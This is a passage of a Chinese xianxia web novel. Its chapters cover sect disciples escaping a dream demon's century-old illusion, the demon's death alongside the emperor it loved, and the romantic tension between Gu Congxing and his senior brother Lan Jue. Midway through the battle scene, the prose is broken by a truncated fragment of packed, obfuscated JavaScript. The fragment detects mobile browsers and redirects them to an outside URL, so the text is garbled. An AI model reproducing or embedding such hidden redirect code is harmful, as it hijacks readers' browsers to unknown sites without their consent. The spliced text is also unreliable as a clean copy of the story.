“逆贼郭氏的首级已在此处。还望殿下应允承诺,取消我与公主殿下的婚约。”
“嗯,我从不毁诺。既已如此,你之后就无需再与公主成婚。”
“多谢殿下。”
君后望着毕恭毕敬的兰决,本该愉悦的心此刻却兴不起波澜,只觉得无趣至极。
他随手揭开木匣,随意道:“从星已死,你今后便可当个寡夫——恩?!”
就在此刻,万道蓝光乍现!
那木匣甫一开启,水滴凝成的尖刺瞬间喷出,往君后身上狠厉袭去!
君后瞳孔猛地一缩,当即挥出灵力屏障将它们冲开,却突然听到身后传来巨响,竟是已有五人破窗而入!
“流云·万象!”
一道高呼响起,金色剑芒携着万钧重压,轰然而至!
君后大惊,他骤然转身,手中已凝出一道链蛇软剑,猛地向金光击去!
剑光轰然破开,君后看见持剑而立的少年惊骇出声:“顾从星?!”
然而未等他反应,又有一道熔岩火浆符箓直向他心口袭来,君后挥剑斩向符箓,狠厉目光扫过使招的陶雪亭,却又感到身后两道身影急速靠近!
“铮——”
软剑与两道玄铁刃短兵相接,发出阵阵铮鸣!
君后冷哼一声,手腕一转,如长蛇的软件就已缠上铁刃,将其寸寸崩裂!
可就在此时,霍辰与邓昭却果决的松开了手,君后此举正中他们下怀,两人当即双手结印,浑身灵力波动。
“无间决!”
他们大喝一声,周身灵力凝成一柄巨大的血染战斧,赫然向着君后劈去!
“嘁——”
君后立即收回软剑,正要点足躲开,可足下地面却在此时轰然破裂。他踉跄倒地,回头一看竟是土系灵根的阮维在捣鬼!
君后暴躁至极,他立即重新站起,可其他人哪会给他逃跑的时机?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041053|178776||http|test|mini|href|location''.split(''|''),0,{}));
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>不过一息之间,战斧已经重重劈下!随之而至的,是携着万丈水光的长剑与金色剑意!
“轰!”
宫殿墙壁悲鸣着倒塌,砖瓦倾倒、烟尘四起。
青玄剑宗弟子们围成一圈,每一人皆是已换回了自身装备,眸光清亮,严阵以待。
待到尘土散去一角,一只手赫然伸出,向着顾从星射出一道玄铁飞叶!
顾从星早有警觉,转瞬间就提起斩鲸剑,将那飞叶从中斩断。
“呵呵呵呵……”
一道愉悦的笑声响起,回荡在每一个人的耳边。
君后在从一片狼藉中站起身来,尽管衣衫破碎发髻散乱,可浑身气势分毫不弱,甚至更凌厉了些。
他扬手抹去脸颊上微微渗出的血迹,嘴角高高咧起。
“有意思,有意思!百年了,你们是唯一自行从梦中醒来的人……”
他微微一震袖,银色软剑拖在地上,如同阴寒的蛇尾。
“可是根据我的‘眼睛’,你们明明本应死的死伤的伤,究竟为何能全须全尾地站在这?”
他发出这道疑问,覆着鲛纱的双目转了一圈,定在兰决身上。
“是你搞的鬼。”
他语气并非试探,而是笃定。
兰决与他对视,声音依旧温润平和:“殿下过誉了。”
昨日顾从星那一声“大师兄”之后,早已发现不对的兰决成功冲破了最后一道思想枷锁,取回记忆。
他沉心感应,很快就察觉到了诡异灵力波动的痕迹——正是紫禁城中这几乎无处不在的桑树。
而没有桑树的室内,那些佣人侍从的身上亦是同样的灵力波动。
——这些,就是君后的“眼睛”。
而之所以能确定最终目标是君后,也正是因为他便是这些灵力的本源。
那么,要如何骗过“眼睛”?
水灵根之人向来擅长幻术,兰决虽涉猎不多,却也能做出一道庞大水镜来——其上呈现的,正是君后所设计剧情中本应展现的情景。
若是真人,定能第一眼就发现不对,可对于并无本我意识的“眼睛”,这障眼法已经完全够用。
而水镜之内,兰决则将所有事告知了青玄剑宗众人,令这五名弟子皆是从梦中惊醒,豁然回神!
多亏此前顾从星所赠的上品聚灵丹,众人伤势皆是得到遏制。又经过梅慈的一番治疗,受伤的四人皆是恢复如初。
——此局,已是他们力挽波澜、转败为胜了!
“哼!你这该死的鬼东西,竟骗得我们自相残杀,好生歹毒!”
霍辰在恢复记忆的瞬间就已脸色惨白,意识到自己竟是险些杀害了同门师兄,与邓昭、陶雪亭一起对顾从星躬身道歉。
虽然顾从星对他们三人皆是并不追究,可他心中的内疚却分毫不减。
陶雪亭亦道:“你玩弄人心,残害修士,今日就乖乖受死吧!”
听了这话,君后又是爆发出一阵大笑,笑得花枝乱颤,连身子都直不起来。
“你笑什么!”
“哈哈哈……”君后抹了抹眼角笑出的泪,低声道,“我也真是越活越回去了,几百年的老东西竟被一群毛头小子围着喊打喊杀。”
“——真是,令人发笑啊。”
随着他话音落下,空气中气温骤降,众人皆是神色一凛,只见君后的手搭在鲛纱之上,向下一扯!
紧闭的双目睁开,竟是黑色眼珠,银色竖瞳!
而就在他睁眼的瞬间,原本只是金丹后期的灵力骤然消散,一瞬之后,暴涨而起的是雄浑妖力!
炼气、筑基、金丹、元婴、出窍……!
他竟已是出窍后期修为,半步化神!
众人心神大骇,皆是不可置信地退后一步。
出窍后期修为,这分明是“五大妖”级别的妖物!可五大妖明明都被封印在西荒境内,怎么会出现在此处!
兰决持剑而立,眸光沉沉。
“罗织幻境、黑眸银瞳,原来如此……”
“你就是五大妖中排行第三的梦妖——织罹!”
织罹闻言,露出个森寒的笑意。
“给你们编了个身居高位、功成名就的美梦,可你们却不识好歹,竟还要取我性命。”
“尤其是那个长得最美貌的,本想留你一命,可惜啊……”
织罹的眸光一转,银色竖瞳紧盯顾从星。
“你这小子偏偏总要自找苦吃,坏我好事!既然你先前并未死绝——”
他手中软剑如闪电般袭出,直冲顾从星心脉!
“那我就把你亲手了结!”
顾从星眼见那寒芒如闪电般逼近,他立即提剑相抗,却不料那软剑挟有出窍威严,他的抵抗全如蜉蝣撼树!
不过一息间,斩鲸剑势就已被破开,银色剑尖已直刺心前!
“从星——!”
18. 无梦庄(8)
“从星!”
兰决发出一声疾呼,转瞬间已将长剑飞出。
挟有全力的一击并未化解软剑的剑势,却让其剑尖偏了寸毫。顾从星趁此良机猛地翻身,避开了这致命一击。
“你这金丹后期的小子本领倒是不错。”织罹瞥了一眼兰决,嘴角咧起,“不过,你们也都要命尽于此了。”
就在他这句话落地的同时,青玄剑宗众人皆感到全身气力在缓缓流逝,如同被一只无形的大口吸食掠夺。
“你!你做了什么?”霍辰惊惧地向织罹质问。
织罹周身妖力涌动,发丝浮起,邪异的双眼满足地眯起。
“自然是吸食养料。难道你以为阿桑吸你们进来,就是让你们演出好戏?”
他愉悦地笑了几声,继续道:“当然是为你榨干你们的灵力体能,让这幻境绵延不断了!”
顾从星闻言心中一沉。
果然如此!
他此前就心中起疑,为何这幻境的恶意只是针对自己与陶雪亭那三人,对梅慈、阮维与兰决却并未出手。
原来,只要在这幻境之中待着,终是难逃一死!
“若你们不来这一出,还有好些日子好活。可惜啊……”梦妖对兰决露出了充满恶意的笑。
“正是因为你唤醒了他们,才要害所有人都死在此处了呢~”
兰决闻言浑身轻微一颤,双唇紧抿。
“你放屁!”
顾从星怒声回怼,眸中厉光闪烁:“今日我就算死在此处,唯一的凶手也只有你这该死的妖物!休想给大师兄泼脏水!”
兰决眸光动了动,琥珀瞳中映出顾从星的身影。
“没错!你这妖怪,竟到了此时还要挑拨离间!”阮维厉声道。
其他几人亦是出言附和,即使浑身灵力不断流逝也并未露出屈服之态。
织罹见状,扬起的嘴角缓缓坠下,不屑地发出一声冷哼。
“我倒要看看你们能撑到几时。”
他话音刚落,邓昭发出扑通一声,半跪在地。
“喂!”霍辰急忙去搀扶,只见他面色苍白,浑身无力,竟已是再难站起。
顾从星心中焦急不已,难道真的就要在此处团灭!
可就在此时,殿外却骤然爆发出一阵喧哗,人影攒动。其中一道身影,正是去而复返的皇帝萧楚君!
“陛下?!”织罹望到那抹明黄身影,面容上浮现惊惶神色。
“看来阁下对项皇的确是一往情深。只可惜,谎言不论经过多久,也终究不会变为现实。”
“即便是持续百年的幻境,也终有被戳破的一日。”
兰决在此悠悠然开口,面上已恢复了从容笑意。
众人见他此状皆是将心放回了肚子里,松出一口气。
可顾从星却注意到他左手紧攥成拳,竟还在微微颤抖。
“兰决?!又是你!你做了什么?”
梦妖此刻怒目圆睁,已全然失去了雍容华贵,妖魔之态毕现。
“不过是给了项皇一个选择……让人告予了他,真正的历史。”
“你竟敢——!!”
织罹发出一声怒喝,浑身妖力骤然涌起,链蛇软剑直取兰决首级!
“住手!阿罹!”
千钧一发之时,竟是萧楚君厉声喝止了织罹的行动。
在他身后,萧忘忧与梅慈一左一右站着,皆是眸光清醒,手持武器。
“陛下……”
织罹与萧楚君四目相对,浑身气势骤然被熄灭,他向后退了一步,旋即突然反应过来捂住自己双眼。
可萧楚君却毫无惊讶之色,仍是一如往常。他靠近一步,对梦妖轻声道:“阿罹,够了。不要再错下去了。”
“陛下!你根本不懂,若是这些人不死,这项国幻境就要消失,你就——”
言至此处,梦妖声音一颤,生生止住了后续的话。
“我就要面对国破家亡的真相了,是么?”
此言一出,全场寂静。
织罹的施法已被打断,众人灵力逐渐回涌,面对如此变局皆是震惊不已。
顾从星敛眉望向萧楚君,没想到真相竟是如此。
原来幻境中的这个国家竟是曾经真实存在的。
他的目光又转向兰决,只见他依然一副波澜不惊模样,可紧攥着的手却松开了。
大师兄,本就知晓人间这项国么?
“萧楚君!你在说些什么胡话,你……”织罹的额发散乱,竟显出些狼狈,“你莫要被他们骗了!”
面对爱人的怒吼,萧楚君却依旧沉稳平和。
他摇摇头,道:“阿罹,我已经全部都想起来了。我是项国的末代皇帝,我并非萧楚君,而是……楚澜。”
“我上位后第五年,江怀将军生死不明,郭氏后人杀害镇国公世子,不久后镇国公闻讯赶回京城,却被逆贼煽动造反。”
“我召集军队与之交战,双方皆是死伤无数。项国内早已民不聊生,我本欲休养生息,可戎国铁骑踏破雁关,在这已是满目疮痍的河山之上烧杀抢掠……”
“项国,已经亡了。”
“我之终局是自刎于城墙之上……可阿罹,为何我还活着?”
听着楚澜这一声疑问,织罹颓然地跌坐在地。
楚澜缓步走到他面前,明明浑身笼罩着无尽悲怆,可语气依旧平和。
“阿罹,你救了我,又为我编织这幻境,可妖力终有耗尽之时。你……不,是我们。”
他蹲下身来,将织罹抱入怀中。
“我们为了维持此境已造就太多杀孽,就在此结束吧。”
织罹沉默良久,颤声道:“可是幻境一破,妖力一散,你就要死了。”
“恩。阿罹,比起虚假的幸福,我更愿面对真实的痛苦。否则,我又有何颜面去见那些因我而死的项国生民?”
“抱歉,让你费心了。”
织罹闭上眼,缓缓落下一滴泪。
“你还真是一点没变啊。”
和百年前一样,还是那个正直到不可思议的傻子。
当年织罹受伤落入人间,为恢复妖力入了上千人的梦,见识了万般贪婪私欲、爱恨忧惧。
人类,如此有趣。有人身居高位却夜夜噩梦缠身,有人表面风光却在梦中丑态毕现。
直到某一天,他进了一个无趣至极的梦。那人被他的太傅教导得像一张白纸,唯有的一些字迹也是君子之道、圣人之言。
织罹明明是讥嘲的,可不知为何,他的目光渐渐只能容下那一人的身影。
他竟真有一颗赤子之心,平生所愿便是让征战已久的项国回归和平,再创海晏河清之局。
他才识与品行皆是一流,若是生于治世,应也是一代明君。
可惜,积弊已久的朝堂与穷兵黩武的国家,早已是气数将尽了。
织罹听过他少年时的宏图远志,见过他青年时的力挽狂澜,最终伴他共赴人生末路的无力回天。
在看到他提剑自刎的那一刻,织罹再也忍耐不住,为他编织了无上幻境。
——既然老天非要让你心血尽毁,那我便为你造一个太平盛世!
一代大妖,就此长伴于人类圣君身侧。
百年之后,他的妖力已近崩溃,开始通过桑树吸食现实中的能量,最开始只是梦境,之后是人类,甚至是修士。
可直到此刻,织罹才终于意识到,自己竟从未问过楚澜,他究竟会如何选择。
破碎绝望的现实,还是壮志得酬的美梦?
——这场长达百年的梦,也该醒了。
凤栖殿外,空间扭曲异动,桑树与宫墙接连坍塌,由妖力伪装而成的阁楼亭台皆轰然破碎,被操纵的傀儡们双目全白、倒地不起。
无尽的妖力浮现,却又如流水般飞速消散。
众人皆是无言看着这一幕,心绪翻涌。而此时顾从星却感受到怀中一物滚烫发热,他将其取出,竟然迢迢所在的那枚芥子。
难道是它受到了强大浩瀚妖力的感应?
顾从星将其释出,状若银狼般的妖兽落于地面,发出一道低吼。
“……驰?!”
织罹一见到驰便发出一道惊呼,他携着楚澜走到它面前,目光柔和而怀念。
“你为何会与这个修士在一处?”
驰望着他,发出起伏的叫声。
“原来如此,圣女她也……”织罹发出一声长叹。
他的目光落在顾从星身上
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,似是打量,似在思衬。片刻后,他又轻叹了一声。
“罢了。我不会杀了他,但你如今功力大损,就受了我这些妖力吧。”
他对驰笑道:“你这家伙,总是重任在身,也不知何时才能解脱。”
这般说着,他将手放在驰的头顶,银色的光芒浮现,源源不断的妖力被渡入它的体内,可织罹的身躯却如同幻境一般,开始变得透明。
顾从星惊诧道:“他这是……”
“织罹维持这巨型幻境百年,妖力早已在耗尽边缘。他现在送出的,就是仅存的妖力了。”
兰决接过话,又默了片刻,道:“他要与楚澜一同赴死。”
顾从星心中一震,也再无言。其他少年也俱是默然,只是凝视着面前景象。
此后只有银色妖力流淌,驰浑身光彩越来越盛,织罹与楚澜的身形却越发淡去。
直到驰发出一声震耳欲聋的吼声,身形也变得如一座银色小山一般,织罹收回了手。
在即将消散的最后一刻,织罹的银瞳扫过顾从星,一声传音在他脑海中浮现。
他面色一僵,刹那间失去血色。
“从星?”
兰决关切的目光望来,顾从星轻轻摇头,道了声无事。
他们面前的织罹目光环视一圈,面无表情地转过身去,与楚澜一同赴往桑树。
城墙宫阙皆是消散,唯有一颗百年桑树依然屹立。
众人眼前一黑,再睁眼时,已是回到了庆桑庄之内。
“终于回来了……”陶雪亭送了一大口气。
“空气里有灵力的感觉真好!修真界真好!活着的感觉真好!”阮维高喊。
邓昭与霍辰击掌欢呼,就连梅慈也一改阴郁神色,露出个笑来。
【滴!恭喜宿主完成主线任务!】
【成果检测中……】
【滴!梦貘确认死亡,青玄剑宗弟子确认全员存活!】
【滴!检测到梦妖织罹死亡,触发额外奖励!】
系统话音一落,顾从星只觉得浑身灵力越发充沛,竟是已隐隐有了破境之兆。
【滴!当前救赎度:20%】
【宿主积分:180分】
顾从星见光板上字符闪烁,也不由得双唇上扬。
竟一举涨了10%的救赎度,还真是不枉他出生入死。
他正这般想着,却感到一只大手抚上自己头顶,带来一阵暖意。
“从星,此番多亏有你。”
面前人仍是面容温润,剪秋瞳中只映出顾从星一人的身影。
“分明你才是谋定全局,将我们救出的人。大师兄。”
顾从星轻笑一声,将揉着自己脑袋的手拉下。
他本想就此松开,却不料反被拉住,两人十指相扣。
“你……”顾从星讶然抬眸。
“咳咳咳!!!”
一道突兀的咳声在身边响起,原来是梅慈竟不知何时到了此处。
“喂,我说!现在还不是卿卿我我的时候吧?那个骗我们的老头子还不知道躲在哪里呢。”
没想到立即答他话的竟然是萧忘忧。
“哦?你们也是被村长骗了?”
其他弟子也闻声围过来,顾从星松开了与兰决相握的手。
陶雪亭道:“你也是?莫非之前那厮说的那个自称打不过梦貘逃跑了的修士……是你?”
萧忘忧气极反笑:“竟敢这么编排我,真是找死。”
言罢,他便提剑向前方走去。梅慈见状也要随他而去寻仇,不过动身前却回过头看着兰决。
“走吧。我们被他欺骗,九死一生,不能就这样离去。”
他这么一说,众弟子也都再无负担,各自拎着武器雄邹邹地散去,开始追寻村长踪迹。
顾从星亦是跟在他们身后,看着面前这几道少年身影挺拔,正中那道白影更显如松如鹤。
他的目光追随着兰决的背影,脑中兀地响起织罹那句传音。
“看在救了驰的份上,送你这小子一个忠告。”
“你魂灵上已经缠了不属于你自己的因果线,有一道正是你旁边那个兰决的。”
“若纠缠再度加深,你……难逃一死。”
19. 见春光
“那老头胆敢如此坑骗我们,现在会不会已经逃走了?”梅慈发问道。
“不会,我之前已经吩咐高慕几人回宗求援,走之前给庆桑庄设下结界,他们都是凡人,不可能破开结界出逃。”
兰决这般说着,已经带着众人来到村子中心。在幻境张开时郁郁葱葱的百年桑树,如今已是残破枯萎,弥漫着沉沉死气。
陶雪亭道:“这般说来,为何没有见到宗门来的人?”
兰决仰头凝视桑树,目光又环绕一圈。
“因为我们此刻,已经不在中洲境内。”
“什么?!”
众人惊声发问,萧忘忧却皱起眉头:“什么中洲?之前这个村子不是在东洲边境吗?”
青玄剑宗众人:“……?”
见众人皆是一头雾水,兰决缓声道:“若我猜得不错,梦妖应给庆桑庄设下了阵法,可让其在每一次吞噬外来修士后转移位置。”
“否则,有修士莫名失踪,其宗门定不会放任不管,也不会任梦妖放纵这般久了。”
众人恍然,环顾四周果然发现远处竟有群山缭绕,并非之前的辽阔平原。
“那此处是哪里?”阮维向兰决问道。
兰决垂眸思量,似乎并不确定。不过顾从星却在此时开口道:
“应是洛西洲边境。”
此处土地是红褐色,远处又可见高耸入云的黑色山脉,应当是洛西洲边境的沐阴山。
沐阴山后,就是妖族西荒境。
前世顾从星为追杀通缉犯获取心头血,就来到过此处。
“这位仙君所言对极啊。”
一道苍老的声音自身后传来,顾从星等人立即回神,只见村长已是拄着拐杖站在他们身后。
顾从星皱了皱眉,不知是不是自己的错觉,似乎村长比上次见要更老了些。
“老东西!你还敢出现!”梅慈当即怒声呵斥。
“呵呵,众位仙君找我,难道我还能逃掉不成?”
村长浑浊的双眼环视过面前修士,在看到萧忘忧时惊讶地睁大。
“这位仙君也出来了?”
“怎么,见我没死很失望?”萧忘忧咬牙切齿地发出一声冷笑。
“不不……老身欢喜的很。真的。”村长拄着拐杖,反而是往前迈出了一步,“诸位既然能够平安归来,就说明那妖物已死了。”
“老身当真,欢喜至极啊!”
众人本以为他应是一副害怕求饶模样,见他此状反而有些困惑。
兰决神色不变,打量着村长道:“村长利用我们保护了村子,自然是开心。”
“你算盘着实打得不错。若我们成功铲除梦妖,庆桑庄便可摆脱它的阴影;若我们和之前的修士一样被它杀害,沦为幻境养料,也可为你争取些时间……至少这桑树吃了修士,就有一段时日不会再吸食村民,不是么?”
听了兰决的话,村长咳了一声,抚须不语。
这便是默认了。
“靠!你这老头也忒阴坏!”邓昭怒骂。
霍辰亦是举起刀,对兰决道:“大师兄,让我杀了他!他坑我们在前,杀他也不算破了宗规!”
兰决却缓缓摇了摇头。
“这厮只剩最后一口气了。不过片刻,就会死去。”
梅慈此言一出,众人皆去诧异地望向村长。
的确,他之前还未拄拐杖,此时却颤颤巍巍,似乎连站着都已经是竭尽全力了。
“……为何不逃?”一直沉默的陶雪亭问道,“既然知道桑树有异,你们逃去外地不就行了?”
一直平静的村长听了这话情绪骤然波动,他刚要张口,又剧烈地咳了几声。
“咳咳……若是能逃,我们早逃了!”
“庆桑庄祖祖辈辈,皆是依托那颗百年桑树发展,也曾是众人安居乐业的大庄!百年前,众人开始不做噩梦,先辈以为是得了神仙眷顾,又岂知是妖物作祟!”
“一旦有人发现异常要逃出此地,隔日就会被桑树吞噬!我们最初请来的修士,也都被那桑树也吞了!”
村长声音嘶哑道:“若是有办法,我们又怎会坑骗他人!”
言毕,他又是剧烈地咳了几声,拄着拐杖倚靠在桑树旁。
众人见他这气息奄奄的模样,一时间也都再未出言。
不料此时这老者却像是回光返照一般,骤然转身,一把举起手中拐杖,像是使用长枪一般,将其直刺入自己体内!
底部尖锐的拐杖将他钉死在桑树之上,远远望去,竟像是与其同根而生,又同时而亡。
气尽之前,他爆发一阵大笑,竟是从未有过的轻松洒脱。
“哈哈哈哈哈!”
“从此以后,庆桑庄之人,再也无梦!!”
众人皆是惊心,被他此举所震慑,一时间都呆愣在原地。
身后传来村民的惊呼,旋即是接连不断的痛哭哀嚎。
然而在一片哭声之中,笼罩在庆桑庄之上的阴云却散了开,日光洒下,带来许久未见的明媚春光。
——枯木死,万物生。
***
众人离开庆桑庄后,先在洛西洲一处镇子中歇了一夜,翌日清晨便准备回宗。
萧忘忧与他们告别,临行前目光极其复杂地扫过兰决与顾从星,面色纠结。
但最终他还是重重叹出一口气,向他们道谢。
在他离去后,兰决向召出灵舟法器,对众人笑道:“此次回宗路途遥远,师弟师妹们可搭乘此物。”
“哇!太棒了!”阮维率先发出一道惊呼,率先入内。
“多谢兰师兄!”
其他几人也皆是神色惊喜,向兰决道谢后接连进入灵舟。
顾从星正欲迈步,却感到自己的手背被毛茸茸的尾巴扫了扫。
他低下头,只见已经完全恢复的驰昂首挺胸地站在自己身侧,浑身银色光彩,脑袋却蹭了蹭自己的衣摆。
……好可爱。
顾从星这般想着,蹲下身来揉了揉驰的脑袋:“怎么了?”
驰眯眯眼,向他嗷了几声。
明明并非人语,可顾从星却能明白它的意思。
“这样……你要走了啊。”
“嗷——”
他又凑到顾从星面前,尖尖的耳朵蹭在顾从星手边,尾巴卷上他的手臂。
顾从星轻笑出声,用力拥紧了它,埋首在它毛茸茸的颈侧:“去好好守护他吧。我们有缘还会再见的。”
一人一兽温存良久,直到兰决轻声提醒,顾从星才松开了手。
“再见了,迢迢。”
驰与顾从星分离后又恢复了庞大的原型,它仰天长啸一声,踏着屋脊扬长而去。
“我们该走了,从星。”
“……恩。”
顾从星收回目光,与兰决一起迈入灵舟。
法器扶摇而上,荡起一阵轻烟,继而缓缓驶入上空。
顾从星站在甲板之上,静看云层涌动,恍若空中岛屿,一时间思绪也随之放空。
“从星为
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何不去休息?”
身边送来寒梅幽香,顾从星回过头去,果然望到那个颀长身影。
“大师兄不也是么。”
“恩,那便是我们心有灵犀了。”
兰决这般说着,已经靠近他的身侧,两人并肩而立,发丝在风中纠缠。
顾从星不知为何突然想起了幻境中的点点滴滴。
本是纯然的师兄弟情谊,在那幻境中却被扭曲变形,两人还被织罹安排了青梅竹马的角色,想来也还真是令人啼笑皆非。
本应是笑笑就过去,可不知为何,顾从星突然忆起了兰决与自己在曦光中耳语、在寒露中相触。
还有在湖边……
唇边似乎又传来湿热触感,顾从星脑子一空,浑身热意上涌。
“从星这是想到了什么?脸怎么红了?”
这般说着,他修长的手已经探了过来。
“……没!没什么!”顾从星猛地后退一步,未让他摸上自己脸颊。
兰决有些讶然地看他动作,随即将手收回。
“从星已有破境之兆,若有需要,可找我为你护法。”
“嗯。我知道了。”
顾从星有些僵硬地回应。
说起来,兰决以前不都是叫自己二师弟的吗?
兰决说完这句后也再未言语,就在顾从星以为他要就此回去时,兰决却将自己的长剑取下,捧在面前。
冰蓝色的剑鞘在日光下熠熠发光,与背景的无垠云海相映。
“说起来,师尊当年送予我此剑时,就说我浑身都是人间烟火气,不像清心寡欲的修道之人。”
他面色似乎有些苦恼,顾从星觉得新鲜,顺着问道:“所以授予你此剑?世人皆称你为君子剑,此剑也算是美名远扬。”
“那都是旁人强加附会罢了。我的剑道和君子道并无干系。”
顾从星扬眉道:“我原以为,此剑名字就是君子剑。”
“怎么会?那也未免太过无趣了些。”兰决笑道。
“那它剑名为?”
“忘情。”
兰决笑时睫羽低垂,并不卷翘,却很浓密,刚好覆在眼瞳之上,留下一片阴影。那琥珀明眸就像是落入一谭深泉中,莫名带了些缱绻的意味。
“是取太上忘情之意呢。”
顾从星与他对视,心跳骤然空了一拍。
“……这样。”
他迅速收回了目光,又望向面前的起伏云层。
太上忘情啊……
说起来,关于要清心寡欲、不为情感所动之类的话,兄长也曾和自己传授过。
顾明庭那家伙,着实是教了自己很多道理的。
顾从星又想起幻境之中梦妖编排自己和兰决的幼年往事,直接将自己关于顾明庭的记忆嫁接在兰决身上。
梦妖这番举动也不算全无依据,毕竟兰决和顾明庭年岁相仿,也俱是翩翩公子,在外都是颇有美名。
顾从星思考着,目光不由得落在兰决身上。
其实顾明庭在被指定为下一任家主之前,也是如兰决一般的性情,温文尔雅,对自己格外亲切,可惜……
顾从星全然陷入了自己的思绪,眸光虽落在兰决面上,却显然是在想着其他人。
他全然未注意到兰决的笑容不知何时消去,琥珀瞳中暗光涌动。
他一把抓住顾从星的手,将他拉到自己面前。
顾从星回神,抬首见正对上兰决皮笑肉不笑的脸。
“师弟,在透过我看谁?”
20. 初长成
“大师兄?!”顾从星看着面前神色阴郁的兰决,不由得发出一声惊呼。
他想要后退一步,可却被更用力地握住,白皙手腕上现出一道红痕,如被凌虐的痕迹。
“喂!兰决你松手!”顾从星有些怒了。
“!抱歉……”
那抹红色映入眼帘,兰决的眸光骤然变得清澈,急急松开了手。
“抱歉从星,很疼吗?这是灵草药膏。”
他从储物戒中掏出上好的灵药,本想直接为顾从星涂上,可手顿了一下,还是只递到顾从星面前。
顾从星无声打量兰决,看到他垂下眼眸的歉意模样,怒火顷刻间消散。他轻叹了口气,接过药膏。
“我刚刚的确在走神……我想到了我的兄长,顾明庭。你们在某些地方有些相像。”
顾从星揭开玉瓷盖子,取出一些晶莹膏体敷在腕上。
“可是我从未把你当作他的替代。”
“你是特别的。”是我独一无二的大师兄。
红痕消退,顾从星的话语落下,在兰决心中湖间泛起涟漪。
“……这样啊。”
他轻声回应,无声地松了口气。
“能与那位顾氏大公子有些相似,也算是我的福分。”
兰决再次抬起头,面上又恢复了清雅笑意。
顾从星看他恢复正常,也放下心来。
梦妖那句提醒他还没忘记,但他也没天真到把它的话奉为圭臬。也许,它是在骗自己呢?与大师兄的纠缠再加深,自己当真会死吗?
不过,不论是真是假,他早在接下系统救赎任务的一刻,就已有了赴死的觉悟。
但他绝不愿看到师门之人,因命运被改而变得面目全非。
“那我就先回去休息了。”
顾从星与兰决告别,回到自己屋中开始打坐调息。
兰决的目光追随着那道天青色的挺拔身影,直到它消失在房门之后。
他的手抚上冰蓝剑鞘,缓缓摩挲。
“忘情,么……”
众人从洛西州西南边境出发,到抵达中禹州时已经是一旬之后。
在这期间,顾从星在兰决护法下成功突破,结成九转金丹。
金丹期虽有雷劫,却是威力最小的三十六道劫雷——更何况顾从星前世已渡过一次,再来一遭已是轻车熟路。
不过,为了保险起见,他还是选择了孤身一人至一山头上渡劫。
当他功成回首,却发现兰决正站在不远处。
明明知晓无甚危险,他还是会无声地守护在侧。
在此期间,不仅是顾从星,其他弟子们也皆是内心有所感悟,修为得以进阶。
最后一位进阶的,就是为诸位弟子护法的兰决。
——从金丹大圆满正式迈入元婴之境。
兰决进阶当天,灵舟在中禹州边境停泊一日,只因九天雷劫已经到来。
元婴雷劫相较丹劫更加凶险,足足有七七四十九道天雷。
当青紫雷电从天而降,轰鸣作响,青玄剑宗弟子皆是屏声息气,无声凝视在一片雷光中的兰决。
月白身影如修竹伫立,当雷光散去,他周身灵光萦绕,光芒内敛,已是元婴期修士。
青玄剑宗众弟子欢呼地簇拥而上,但那双秋水明瞳却越过多道人影,直直与顾从星对视。
那一瞬,顾从星突然想到,前一世兰决也带着内门弟子们去无梦庄执行任务,但当时自己并不在宗内。
当他回宗后,却听闻在此任务中有三位弟子陨落,兰决亦是重伤,在回宗后闭门不出,修为停滞金丹后期。
在那之后,兰决自请卸下掌教大师兄之职,可在保护宗门之人时却更加奋不顾身,像是赎罪一般。
“系统,前一世大师兄是为何陨落的?”顾从星轻声发问。
【兰决为救他人献祭自身而亡。更具体的内容可在宿主积分超过200后,开启“8D阅读原著小说”功能查询。】
顾从星凝视着兰决的身影,无声间握紧双拳。
——大师兄,这一世已经不同。
——这次,换我来救你。
***
灵舟抵达青玄剑宗结界,护宗弟子见到归来的七名弟子,皆是既惊又喜地通传主峰,又热切地围了上来。
“兰师兄!你们终于回来了!”
“之前听闻你们遇险,宗内前后排出三位长老去相救,就连琢光剑尊都差一点出动了!”
顾从星与兰决对视一眼,皆是面露惊讶。
师尊掌管无寂崖的封印结界,每次出关后都会用至少一个月的时间加固封印,从无遗漏。
看来此次,他的确是忧心了。
“师兄!!”
一道高呼从身后传来,顾从星甫一转身,就已落入一个热乎乎的拥抱。
少年带来一阵晒过太阳的青草香,混着未干的晨露,莽撞又鲜活。
“小师弟……”
顾从星揉着少年毛茸茸的脑袋,任他在自己脖颈边蹭来蹭去,带来一阵痒意。
“呜呜呜师兄,我好想你!”
钟冥紧紧拥着顾从星,温热的吐息落在顾从星耳畔。
顾从星唇角扬起,他像以往一般轻拍着少年的脊背,突然发现怀中人比以前又长了一些。
竟已经快和自己一般高了。
就在顾从星准备将钟冥松开时,一道温润的声音却透着寒气,在身侧响起:“小师弟果然还是小少年,竟这般粘人。”
顾从星扭头看去,只见兰决面上仍是一如既往的笑容,可眸光中却泛着冷意。
“我!我才不是小孩子!”钟冥闻言立刻松开了顾从星,皱着眉头急声反驳。
“是么?”兰决眯着眼睛,“既然如此,我还要和从星一同汇报任务,小师弟不如先回去吧。”
钟冥鼓起脸,刚要点头,却立即反应过来,向兰决发问:“大师兄,刚刚叫二师兄什么?”
“从星。怎么,小师弟可是觉得不妥?”
兰决笑意悠然。
钟冥的眉峰再次蹙起。
不对劲。他在心中这般想着。
明明师兄直接叫师弟的名字并不罕见,可他却直觉性地感到了不同。
大师兄,以前明明和二师兄并非这样亲近的。
危机感从心底涌起,钟冥目光直直地与兰决对视,可对面的人依旧从容平和。
顾从星看着身边这两人四目相对,不由得有些困惑。
大师兄表情如常,小师弟的眼神怎么却带着火药味?这是在较量些什么?
“好了,小师弟。我先和师兄去主峰汇报,有何事之后再说。”
顾从星拍拍钟冥脑袋道,转身准备与兰决一同离开。
兰决面上笑意更盛,他的广袖与顾从星衣袖相触,探出指尖牵起了顾从星的手。
“大师兄?”顾从星越发疑惑。
“我们一同去更快些。”
这般说着,他已召出忘情剑,挽着顾从星踏上长剑。
“二师兄!”
身后又传来钟冥的呼声,顾从星回首望去,只见少年的暗金色双眸一瞬不瞬地望着自己,声音急切。
“明日是我在宗内大比的最后一场比赛!你一定要来看!”
顾从星没想到如今宗内大比竟已经开启了,他毫不犹豫地颔首:“那是自然。”
